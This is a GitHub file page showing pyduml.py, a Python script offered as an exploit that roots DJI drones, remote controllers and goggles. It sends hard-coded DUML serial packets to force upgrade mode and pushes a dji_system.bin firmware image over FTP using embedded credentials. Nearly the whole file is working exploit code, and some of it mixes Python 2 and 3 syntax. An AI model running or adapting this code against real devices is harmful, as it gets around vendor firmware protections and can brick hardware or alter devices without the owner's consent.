forked from hdnes/pyduml
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpyduml.py
213 lines (175 loc) · 7.44 KB
/
pyduml.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
#!/usr/bin/python
# HDnes pythonDUML
# Thanks Hostile for the fireworks grepping all the fish.
# Thanks the_lord for the sniffing
# Thanks hfman & jaydee for the usb and ftp work
import time
import os
import platform
import sys
import serial
import struct
import hashlib
from table_crc import *
from pathlib import Path
from ftplib import FTP
def main():
print ("\nPreparing to run pythonDUML exploit from a " + platform.system() + " Machine")
device_selection_prompt()
configure_usbserial()
generate_update_packets()
write_packet(packet_1) # Enter upgrade mode (delete old file if exists)
write_packet(packet_2) # Enable Reporting
upload_binary()
write_packet(packet_3) # Send File size
write_packet(packet_4) # Send MD5 Hash for verification and Start Upgrade
print ("--------------------------------------------------------------------------")
print ("Upgrade/Downgrade in Progress - May take a while....")
ser.close
return
def device_selection_prompt():
global device
print ("--------------------------------------------------------------------------")
device = input('Select device number as follows: Aircraft = [1], RC = [2], Goggles = [3] : ')
print ("--------------------------------------------------------------------------")
if device==1:
print ("Exploit for Aircraft selected")
elif device ==2:
print ("Exploit for RC selected")
print ("----------------------")
print ("Rooting RC is finicky, if having difficulties try the following")
print ("--------------------------------------------------------------------------")
print ("after root completes:")
print ("1: unplug before turning off")
print ("2: turn off")
print ("3: turn on (without usb connected)")
print ("4: turn off")
print ("5: plug in usb and turn on")
elif device == 3:
print ("Exploit for Goggles selected")
print ("--------------------------------------------------------------------------")
return
def configure_usbserial():
#serial.tools.list_ports
# Serial Port should resemble: '/dev/cu.usbmodem1425' or linux should be something like /dev/ttyACM0
global ser
if sys.argv[1] is None:
print ("Usage: python " + sys.argv[0] + "<your device> (Serial Port should resemble: '/dev/cu.usbmodem1425' or linux should be something like /dev/ttyACM0)")
ser = serial.Serial(sys.argv[1])
ser.baudrate = 115200
#data_bits = 8
#stop_bits = 1
#parity = SerialPort::NONE
return
def write_packet(data):
ser.write(data) # write a string
time.sleep(0.1)
hexout = ' '.join(format(x, '02X') for x in data)
print (hexout)
return
def upload_binary():
my_file = Path("dji_system.bin")
if my_file.is_file():
ftp = FTP("192.168.42.2", "Gimme", "DatROot!")
fh = open("dji_system.bin", 'rb')
ftp.storbinary('STOR /upgrade/dji_system.bin', fh)
print ("dji_system.bin delivered via FTP")
ftp.cwd('upgrade')
if '.bin' in ftp.nlst() :
print '.bin already exists...'
else :
ftp.mkd("/upgrade/.bin")
fh.close()
ftp.quit()
return
def generate_update_packets():
global packet_1
global packet_2
global packet_3
global packet_4
dir_path = os.path.dirname(os.path.realpath(__file__)) + "/dji_system.bin"
# Pack file size into 4 byte Long little endian
file_size = struct.pack('<L',int(os.path.getsize(dir_path)))
if device == 1: #Aircraft
# Enter upgrade mode (delete old file if exists)
packet_1 = bytearray.fromhex(u'55 16 04 FC 2A 28 65 57 40 00 07 00 00 00 00 00 00 00 00 00 27 D3')
# Enable Reporting
packet_2 = bytearray.fromhex(u'55 0E 04 66 2A 28 68 57 40 00 0C 00 88 20')
# 551A04B12A286B5740000800YYYYYYYY0000000000000204XXXX
#YYYYYYYY - file size in little endian
#XXXX - CRC as produced by table_crc.py
packet_3 = bytearray.fromhex(u'55 1A 04 B1 2A 28 6B 57 40 00 08 00')
packet_3 += file_size #append file size
packet_3 += bytearray.fromhex(u'00 00 00 00 00 00 02 04')
packet_length = len(packet_3)
crc = calc_checksum(packet_3,packet_length)
crc = struct.pack('<H',crc)
packet_3 += crc
# Calculate File md5 hash
filehash = hashlib.md5()
filehash.update(open(dir_path).read())
filehash = filehash.hexdigest()
hex_data = filehash.decode("hex")
md5_check = bytearray(hex_data)
# File Verification and Start Upgrade
packet_4 = bytearray.fromhex(u'55 1E 04 8A 2A 28 F6 57 40 00 0A 00')
packet_4 += md5_check
packet_length = len(packet_4)
crc = calc_checksum(packet_4,packet_length)
crc = struct.pack('<H',crc)
packet_4 += crc
elif device == 2: #RC
# Enter upgrade mode (delete old file if exists)
packet_1 = bytearray.fromhex(u'55 16 04 FC 2A 2D E7 27 40 00 07 00 00 00 00 00 00 00 00 00 9F 44')
# Enable Reporting
packet_2 = bytearray.fromhex(u'55 0E 04 66 2A 2D EA 27 40 00 0C 00 2C C8')
packet_3 = bytearray.fromhex(u'55 1A 04 B1 2A 2D EC 27 40 00 08 00')
packet_3 += file_size #append file size
packet_3 += bytearray.fromhex(u'00 00 00 00 00 00 02 04')
packet_length = len(packet_3)
crc = calc_checksum(packet_3,packet_length)
crc = struct.pack('<H',crc)
packet_3 += crc
# Calculate File md5 hash
filehash = hashlib.md5()
filehash.update(open(dir_path).read())
filehash = filehash.hexdigest()
hex_data = filehash.decode("hex")
md5_check = bytearray(hex_data)
# File Verification and Start Upgrade
packet_4 = bytearray.fromhex(u'55 1E 04 8A 2A 2D 02 28 40 00 0A 00')
packet_4 += md5_check
packet_length = len(packet_4)
crc = calc_checksum(packet_4,packet_length)
crc = struct.pack('<H',crc)
packet_4 += crc
elif device == 3: #Goggles
# Enter upgrade mode (delete old file if exists)
packet_1 = bytearray.fromhex(u'55 16 04 FC 2A 3C F7 35 40 00 07 00 00 00 00 00 00 00 00 00 0C 29')
# Enable Reporting
packet_2 = bytearray.fromhex(u'55 0E 04 66 2A 3C FA 35 40 00 0C 00 48 02')
packet_3 = bytearray.fromhex(u'55 1A 04 B1 2A 3C FD 35 40 00 08 00')
packet_3 += file_size #append file size
packet_3 += bytearray.fromhex(u'00 00 00 00 00 00 02 04')
packet_length = len(packet_3)
crc = calc_checksum(packet_3,packet_length)
crc = struct.pack('<H',crc)
packet_3 += crc
# Calculate File md5 hash
filehash = hashlib.md5()
filehash.update(open(dir_path).read())
filehash = filehash.hexdigest()
hex_data = filehash.decode("hex")
md5_check = bytearray(hex_data)
# File Verification and Start Upgrade
packet_4 = bytearray.fromhex(u'55 1E 04 8A 2A 3C 5B 36 40 00 0A 00')
packet_4 += md5_check
packet_length = len(packet_4)
crc = calc_checksum(packet_4,packet_length)
crc = struct.pack('<H',crc)
packet_4 += crc
else:
print ("You picked an option not yet supported")
return
if __name__ == "__main__":
main()